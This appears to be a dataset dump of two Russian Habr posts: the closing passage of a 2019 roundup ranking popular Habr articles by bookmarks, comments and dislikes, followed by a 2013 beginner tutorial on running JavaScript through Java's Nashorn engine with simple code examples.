* [Инструментарий для анализа и отладки .NET приложений](https://habr.com/ru/company/clrium/blog/463305/) 244 закладки, 11600 просмотров
* [Как дебажить переменные окружения в Linux](https://habr.com/ru/company/badoo/blog/465021/) 322 закладки, 15900 просмотров
* [Как сделать первые шаги в робототехнике?](https://habr.com/ru/company/mailru/blog/448608/) 224 закладки, 11200 просмотров
* [Лабиринты: классификация, генерирование, поиск решений](https://habr.com/ru/post/445378/) 318 закладок, 16000 просмотров
* [Практические советы, примеры и туннели SSH](https://habr.com/ru/post/435546/) 787 закладок, 40000 просмотров
* [Курс лекций 'Основы цифровой обработки сигналов'](https://habr.com/ru/post/460445/) 418 закладок, 21400 просмотров
* [42 оператора расширенного поиска Google (полный список)](https://habr.com/ru/post/437618/) 917 закладок, 47100 просмотров
* [Шейдеры 3D-игр для начинающих](https://habr.com/ru/post/453300/) 239 закладок, 12400 просмотров
* [Точечный обход блокировок PKH на роутере с OpenWrt с помощью WireGuard и DNSCrypt](https://habr.com/ru/post/440030/) 302 закладки, 15700 просмотров
* [Прорабатываем навык использования группировки и визуализации данных в Python](https://habr.com/ru/company/mailru/blog/445834/) 192 закладки, 10000 просмотров
* [Другой Github 2: машинное обучение, датасеты и Jupyter Notebooks](https://habr.com/ru/company/mailru/blog/445530/) 265 закладок, 13900 просмотров
**Топ статей по числу комментариев**
* [Уроки украинского](https://habr.com/ru/post/448634/) 1672 комментария, 60400 просмотров
* [Ракета 9М729. Несколько слов о «нарушителе» Договора РСМД](https://habr.com/ru/post/438650/) 1371 комментарий, 83000 просмотров
* [Гитхаб начал блокировать репозитории пользователей из Крыма, Кубы, Ирана, Северной Кореи и Сирии](https://habr.com/ru/news/t/461415/) 1309 комментариев, 44500 просмотров
* [Ослабляем гайки в правилах Хабра](https://habr.com/ru/company/tm/blog/437072/) 1285 комментариев, 48300 просмотров
* [Чем быстрее вы забудете ООП, тем лучше для вас и ваших программ](https://habr.com/ru/post/451982/) 1271 комментарий, 128000 просмотров
* [Авиакатастрофа в Шереметьево: исторические аналогии](https://habr.com/ru/post/450770/) 1211 комментариев, 82400 просмотров
* [Как поколение Y превратилось в поколение выгоревших?](https://habr.com/ru/post/438070/) 1122 комментария, 81500 просмотров
* [Электромобиль — это не для меня](https://habr.com/ru/post/459890/) 1116 комментариев, 50700 просмотров
* [Год за рулём электромобиля](https://habr.com/ru/post/462911/) 1098 комментариев, 71800 просмотров
* [Современное состояние науки о сознании](https://habr.com/ru/post/443002/) 1021 комментарий, 27500 просмотров
* [Финляндия подвела предварительные итоги эксперимента с гарантированным базовым доходом](https://habr.com/ru/post/439600/) 999 комментариев, 62100 просмотров
* [Беседа о справедливой экономике](https://habr.com/ru/post/456260/) 997 комментариев, 7700 просмотров
* [Почему быть вегетарианцем на самом деле невозможно](https://habr.com/ru/post/464445/) 940 комментариев, 51600 просмотров
* [Дорогая, мы убиваем Интернет](https://habr.com/ru/company/medium-isp/blog/461979/) 933 комментария, 120000 просмотров
* [Митинг против изоляции рунета](https://habr.com/ru/post/442912/) 923 комментария, 50900 просмотров
* [На пенсию в 22](https://habr.com/ru/post/459262/) 922 комментария, 156000 просмотров
* [Выбор авто для айтишника, или советы чайникам от чайника](https://habr.com/ru/post/443520/) 914 комментариев, 43400 просмотров
* [Почему Senior Developer'ы не могут устроиться на работу](https://habr.com/ru/post/460901/) 901 комментарий, 119000 просмотров
* [План вернулся в экономику](https://habr.com/ru/post/459898/) 892 комментария, 27800 просмотров
* [Персональный городской телепортатор](https://habr.com/ru/post/434682/) 889 комментариев, 40800 просмотров
И наконец, последний **Антитоп по числу дизлайков**
* [На пенсию в 22](https://habr.com/ru/post/459262/), 922 комментария, рейтинг +259.0/-100.0
* [Я прочитал 80 резюме, у меня есть вопросы](https://habr.com/ru/company/dodopizzaio/blog/449256/), 635 комментариев, рейтинг +135.0/-94.0
* [Дорогая, мы убиваем Интернет](https://habr.com/ru/company/medium-isp/blog/461979/), 933 комментария, рейтинг +392.0/-83.0
* [Государство и Т-киллеры](https://habr.com/ru/post/457754/), 752 комментария, рейтинг +83.0/-80.0
* [Почему Windows в 2019 году не рулит, или ЧЯДНТ?](https://habr.com/ru/post/438888/), 881 комментарий, рейтинг +123.0/-70.0
* [Функциональное программирование: дурацкая игрушка, которая убивает производительность труда. Часть 1](https://habr.com/ru/company/ruvds/blog/462483/), 394 комментария, рейтинг +100.0/-68.0
* ['Статья про минет': ученые обработали 109 часов орального секса, чтобы разработать ИИ, который сосет член](https://habr.com/ru/post/441252/), 361 комментарий, рейтинг +240.0/-68.0
* [Мы написали самый полезный код в своей жизни, но его выкинули на помойку. Вместе с нами](https://habr.com/ru/post/454774/), 259 комментариев, рейтинг +101.0/-63.0
* [Чем быстрее вы забудете ООП, тем лучше для вас и ваших программ](https://habr.com/ru/post/451982/), 1271 комментарий, рейтинг +131.0/-63.0
* [Перестану-ка я добро на помойку выкидывать](https://habr.com/ru/post/437502/), 179 комментариев, рейтинг +147.0/-62.0
* [Король разработки](https://habr.com/ru/post/443466/), 668 комментариев, рейтинг +315.0/-60.0
* [Алкоголизм последней стадии](https://habr.com/ru/post/464603/), 597 комментариев, рейтинг +208.0/-60.0
* [Я не настоящий](https://habr.com/ru/post/460983/), 246 комментариев, рейтинг +105.0/-59.0
* [Поймай меня, если сможешь](https://habr.com/ru/post/450878/), 215 комментариев, рейтинг +141.0/-58.0
* [Год за рулём электромобиля](https://habr.com/ru/post/462911/), 1098 комментариев, рейтинг +131.0/-58.0
* [Зачем вам учить Go](https://habr.com/ru/company/mailru/blog/446914/), 70 комментариев, рейтинг +76.0/-57.0
* [Ответ психиатра на статью 'Болен-здоров'](https://habr.com/ru/post/455280/), 272 комментария, рейтинг +154.0/-55.0
* [Челобитная в Apple](https://habr.com/ru/post/462417/), 96 комментариев, рейтинг +90.0/-52.0
* [Новые языки программирования незаметно убивают нашу связь с реальностью](https://habr.com/ru/post/442112/), 764 комментария, рейтинг +164.0/-52.0
* [Пять пугающих трендов современной разработки](https://habr.com/ru/company/oleg-bunin/blog/459446/), 262 комментария, рейтинг +95.0/-52.0
Уфф. У меня есть еще несколько интересных выборок, но не буду утомлять читателей.
Заключение
----------
При построении рейтинга я обратил внимание на два момента, которые показались интересными.
Во-первых, все-таки 60% топа — это статьи жанра «geektimes». Будет ли их меньше в следующем году, и как будет Хабр выглядеть без статей про пиво, космос, медицину и прочее — я не знаю. Определенно, читатели что-то потеряют. Посмотрим.
Во-вторых, неожиданно качественным оказался топ по закладкам. Это психологически понятно, на рейтинг читатели могут и не обратить внимание, а если статья *нужна*, то в закладки её добавят. И здесь как раз наибольшая концентрация полезных и серьезных статей. Думаю, владельцам сайта стоит как-то продумать связь числа добавлений в закладки с программой поощрения, если они хотят увеличения именно этой категории статей здесь на Хабре.
Как-то так. Надеюсь, было познавательно.
Список статей получился длинный, ну оно наверно и к лучшему. Всем приятного чтения. | https://habr.com/ru/post/466963/ | null | ru | null |
# Введение в Nashorn
#### Введение
Nashorn\* — движок JavaScript, разрабатываемый полностью на языке программирования Java компанией Oracle. Основан на [Da Vinci Machine](http://en.wikipedia.org/wiki/Da_Vinci_Machine) (JSR 292) и будет доступен в составе Java 8 (релиз которой ожидается в марте 2014 года). Стоит отметить что выполнение JavaScript (и [поддержка скриптов в целом](http://en.wikipedia.org/wiki/JSR_223)) была уже в Java 6, но в ней использовался движок [Rhino](http://ru.wikipedia.org/wiki/Rhino), также написанный на Java, но поддерживаемый [Mozilla Foundation](http://ru.wikipedia.org/wiki/Mozilla_Foundation).
О списке нововведений в Java 8 уже [писали ранее](http://habrahabr.ru/post/188850/). В данной статье будет приведена пара простых примеров, которая даст вам представление об использовании Nashorn.
#### Применение
Зачем нужен JavaScript в Java? Например:
* Описывать бизнес-логику на более простом чем Java языке (привлекая к этому специалистов в предметной области с базовым навыком программирования)
* Обеспечить модульную, расширяемую за счёт плагинов архитектуру приложения и интеграцию в приложение ранее существующих скриптов
* [Использовать совместно с Java FX](http://justmy2bits.com/2013/09/08/javafx-with-nashorn-canvas-example/)
* [Использовать в web-приложениях](http://tech.kinja.com/a-simple-realtime-webapp-using-nashorn-scripting-1059181159), [различным образом](https://blogs.oracle.com/nashorn/entry/http_server_written_in_nashorn)
#### Примеры использования
##### Подготовительный этап
Устанавливаем [JDK 8 Early Access](https://jdk8.java.net/download.html). Далее по тексту подразумевается что команды `javac` и `java` выполняются для Java 8.
##### Hello, World!
```
import javax.script.*;
public class EvalScript {
public static void main(String[] args) throws Exception {
// create a script engine manager
ScriptEngineManager factory = new ScriptEngineManager();
// create a Nashorn script engine
ScriptEngine engine = factory.getEngineByName("nashorn");
// evaluate JavaScript statement
try {
engine.eval("print('Hello, World!');");
} catch (final ScriptException se) { se.printStackTrace(); }
}
}
```
Компилируем класс:
```
./javac EvalScript.java
```
И выполняем его:
```
./java EvalScript
```
Видим вывод:
```
Hello, World!
```
##### JavaScript + Java
Nashorn позволяет [использовать классы Java](http://download.java.net/jdk8/docs/technotes/guides/scripting/nashorn/api.html#sthref17) для создания программ. Рассмотрим следующий пример:
###### MyScript.js
```
var MyClass = Java.type("EvalScript.MyClass");
var my = new MyClass();
my.printMsg("Hello!");
```
###### EvalScript.java
```
import javax.script.*;
import java.io.*;
public class EvalScript {
public static void main(String[] args) throws Exception {
// create a script engine manager
ScriptEngineManager factory = new ScriptEngineManager();
// create a Nashorn script engine
ScriptEngine engine = factory.getEngineByName("nashorn");
// evaluate JavaScript statement
try {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
engine.eval(br);
} catch (final ScriptException se) { se.printStackTrace(); }
}
public static class MyClass {
public void printMsg(String msg) {
System.out.println("printMsg : "+msg);
}
}
}
```
Для примера я создал свой внутренний класс (что не является ограничением, я мог бы создать и отдельный класс), и вызвал его из JavaScript кода. Осталось скомпилировать класс и запустить его передав на вход наш js-код:
```
./java EvalScript < MyScript.js
```
Видим вывод:
```
printMsg : Hello!
```
#### Вывод
Решайте сами как использовать такую возможность. Я заинтересовался, когда у меня появилась необходимость внедрить в существующий Java-проект автоматизацию, которую мог бы настраивать не программист, а администратор приложения, прямо через интерфейс приложения (и при этом не требовалась бы перекомпиляция компонент приложения).
#### Используемые материалы:
* <http://download.java.net/jdk8/docs/technotes/guides/scripting/nashorn/>
* [http://ru.wikipedia.org/wiki/Nashorn\_(движок\_JavaScript)](http://ru.wikipedia.org/wiki/Nashorn_%28%D0%B4%D0%B2%D0%B8%D0%B6%D0%BE%D0%BA_JavaScript%29)
* <https://blogs.oracle.com/nashorn/>
---
\* Nashorn — немецкое слово, которое переводится на русский как «носорог», а на английский как «rhinoceros», что перекликается с [Rhino](http://ru.wikipedia.org/wiki/Rhino), названием движка JavaScript, реализованного в Java и поддерживаемого компанией Mozilla Foundation. Rhino, в свою очередь, получил название в честь животного изображённого на обложке книги о JavaScript, выпущенной издательством O'Reilly Media. | https://habr.com/ru/post/195870/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.